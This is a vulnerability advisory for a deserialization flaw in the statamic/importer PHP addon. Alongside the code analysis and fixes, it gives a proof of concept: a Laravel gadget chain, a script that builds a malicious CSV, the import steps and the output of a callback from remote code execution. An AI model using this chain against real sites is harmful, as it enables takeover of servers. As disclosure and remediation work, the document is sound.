PHP object injection via unserialize of untrusted import values in statamic/importer: CVE Research
Created November 7, 2026 • Last updated November 13, 2026 • 6 min read • 285 views
statamic/importer deserializes field values taken directly from the import source with unserialize() and no allowed_classes restriction. When a source column is mapped to a list or entries field, any cell value that begins with a: is passed to unserialize(). An attacker who controls the content of an imported CSV or WordPress XML file can embed a serialized PHP object in such a cell. On import, that object is instantiated and its magic methods run, giving PHP object injection. In a stock Laravel and Statamic install, published gadget chains in the framework dependencies escalate this to remote code execution. The attacker needs no account on the target site, only to have their content imported, which is the addon's documented use case.
Details
Transformers call unserialize without class restrictions
Both the entries and list transformers inspect the raw field value and call unserialize() on it when it looks like a serialized array.
// src/Transformers/ListTransformer.php:9-18
public function transform($value)
{
// When $value is a serialized array, deserialize it.
if (Str::startsWith($value, 'a:')) {
$value = collect(unserialize($value))->join('|');
}
// When $value is a JSON string, decode it.
if (Str::startsWith($value, ['{', '[']) || Str::startsWith($value, ['[', ']'])) {
$value = collect(json_decode($value, true))->join('|');
}
return explode('|', $value);
}
src/Transformers/EntriesTransformer.php contains the identical sink:
// src/Transformers/EntriesTransformer.php:13-20
public function transform($value): null|string|array
{
// When $value is a serialized array, deserialize it.
if (Str::startsWith($value, 'a:')) {
$value = collect(unserialize($value))->join('|');
}
The Str::startsWith($value, 'a:') guard only checks the outer prefix. A serialized array may contain serialized objects as its elements, so a value such as a:1:{i:0;O:6:"Gadget":...} passes the guard and is handed to unserialize() whole. unserialize() is called with no second argument, so allowed_classes defaults to true and every class in scope can be instantiated, running its __wakeup and later __destruct methods.
Value flows unmodified from source to sink
The value reaches the transformer straight from the import row, unmodified. src/Jobs/ImportItemJob.php:
// src/Jobs/ImportItemJob.php:34-46
$value = Arr::get($this->item, $mapping['key']);
if (is_null($value) || $value === '') {
return [$fieldHandle => null];
}
if ($transformer = Importer::getTransformer($field->type())) {
$value = (new $transformer($this->import, $blueprint, $field, $mapping, $this->item))->transform($value);
}
$this->item is one row produced by the CSV or XML source (src/Sources/Csv.php, src/Sources/Xml.php), whose cell values are plain strings taken verbatim from the uploaded or fetched file. There is no validation, type pinning or sanitisation between the file and the unserialize() call.
Why the guard does not help
The intent of the code is to accept the serialized arrays that tools like WordPress write for multi-value meta. WordPress commonly stores post meta as serialized arrays beginning with a:, so a crafted export placed in that position is indistinguishable from legitimate data and is exactly what the guard is written to accept. The fix the author intended, deserializing an array, is implemented in a way that also instantiates arbitrary objects.
PoC
Runtime-verified against a fresh Statamic 6.x + Laravel 13 + statamic/importer 2.3.3 install with PHP 8.5.
1. Generate the gadget chain with phpggc
phpggc provides pre-built gadget chains for popular PHP frameworks. The Laravel/RCE9 chain uses PendingBroadcast to Bus\Dispatcher to system():
O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{s:9:" * events";O:25:
"Illuminate\Bus\Dispatcher":5:{s:12:" * container";N;s:11:" * pipeline";N;
s:8:" * pipes";a:0:{}s:11:" * handlers";a:0:{}s:16:" * queueResolver";
s:6:"system";}s:8:" * event";O:38:"Illuminate\Broadcasting\BroadcastEvent"
:1:{s:10:"connection";s:163:"curl ...";}}
The chain works because:
PendingBroadcast::__destruct()calls$this->events->dispatch($this->event)Bus\Dispatcher::dispatch()sees BroadcastEvent implements ShouldQueuedispatchToQueue()calls($this->queueResolver)($connection)where queueResolver issystemand connection is the attacker command
2. Build the malicious CSV
The payload must be wrapped in an array serialization prefix to pass the a: guard:
a:1:{i:0;O:40:"Illuminate\Broadcasting\PendingBroadcast":2:{...}}
The CSV is built with PHP fputcsv to handle internal double-quote escaping:
$payload = file_get_contents('payload.txt'); // phpggc output
$wrapped = 'a:1:{i:0;' . $payload . '}';
$fh = fopen('malicious.csv', 'w');
fputcsv($fh, ['title', 'tags']);
fputcsv($fh, ['Innocent Article', $wrapped]);
fclose($fh);
The resulting CSV has two columns. The title column carries a normal string. The tags column carries the serialized gadget chain wrapped in the array prefix.
3. Import via Statamic Control Panel
Navigate to Utilities, then Importer, then create a new import
Upload
malicious.csvSet Data Type to Entries, Collection to any collection, Blueprint to one with a list field
Map
titleto Title andtagsto the Tags (list) fieldSet Unique Field to Title
Click Save and Run
4. RCE callback received
With QUEUE_CONNECTION=sync (common in development and single-server deploys), the import job fires inline during the HTTP request. The ListTransformer deserializes the tags cell, instantiating the PendingBroadcast object. On garbage collection, __destruct fires the chain, calling system() with the attacker command.
The callback listener receives:
RCE CALLBACK RECEIVED 2026-11-07 17:20:32 from 127.0.0.1
USER uid=501(joshuavanderpoll) gid=20(staff) groups=20(staff),...
HOST Joshuas-MacBook-Air.local
OS Darwin 25.6.0 arm64
CWD /path/to/statamic-importer-poc/public
With a queued connection, the chain fires when the queue worker processes the ImportItemJob.
Impact
This is PHP object injection (deserialization of untrusted data) reachable by anyone who can influence the content of a file that a site operator imports. That covers any deployment that uses the addon for its stated purpose: migrating or syncing content from an external or third party source such as a WordPress export, a partner CSV feed or any file the operator did not author byte for byte.
The attacker needs no credentials on the target site. A Control Panel user with Importer access must perform the import and map a column to a list or entries field, which is routine for a content migration. On a stock Laravel and Statamic install, public gadget chains in the bundled framework dependencies turn the object injection into remote code execution. Where no usable chain is available, the attacker can still instantiate arbitrary in-scope classes and trigger their destructors, which can delete files or disrupt the import worker.
Affected products
Field | Value |
|---|---|
Ecosystem | Composer |
Package name | statamic/importer |
Affected versions | up to and including 2.3.3 |
Patched versions | none |
Vulnerable functions | Statamic\Importer\Transformers\ListTransformer::transform, Statamic\Importer\Transformers\EntriesTransformer::transform |
Vector string
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Base score: 9.4 (Critical).
AV:N. The malicious payload is a field value inside an import source (a CSV file or XML/WordPress export) that the operator pulls in from a third party. The addon's purpose is syncing content from external feeds, so the data originates off-host and reaches the vulnerable code over the network.
AC:L. The attacker places a serialized payload in the source data. No race, collision or environmental precondition is needed.
PR:N. The attacker needs no account or privilege on the target Statamic site. They only need their content to be imported.
UI:A. A Control Panel user with access to the Importer utility must map a source column to a list or entries field and run the import.
VC:H, VI:H, VA:H. PHP object injection in a Laravel application. Published gadget chains allow reading and writing arbitrary data and executing arbitrary commands.
SC:H, SI:H, SA:H. The injected code runs in the web server process, crossing from the application layer into the host operating system.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base score: 8.8 (High).
Weaknesses
CWE-502: Deserialization of Untrusted Data
Remediation
Disable object instantiation at both sinks by passing
unserialize($value, ['allowed_classes' => false]). The code only ever joins the result into a pipe-delimited string, so no object support is needed.Prefer not to call unserialize() on import data at all. If the goal is to flatten the serialized arrays that WordPress writes, parse them without object support, or require the operator to opt in explicitly for sources known to contain PHP-serialized values.
Validate and type-pin field values before transformation so that a list or entries cell is treated strictly as text.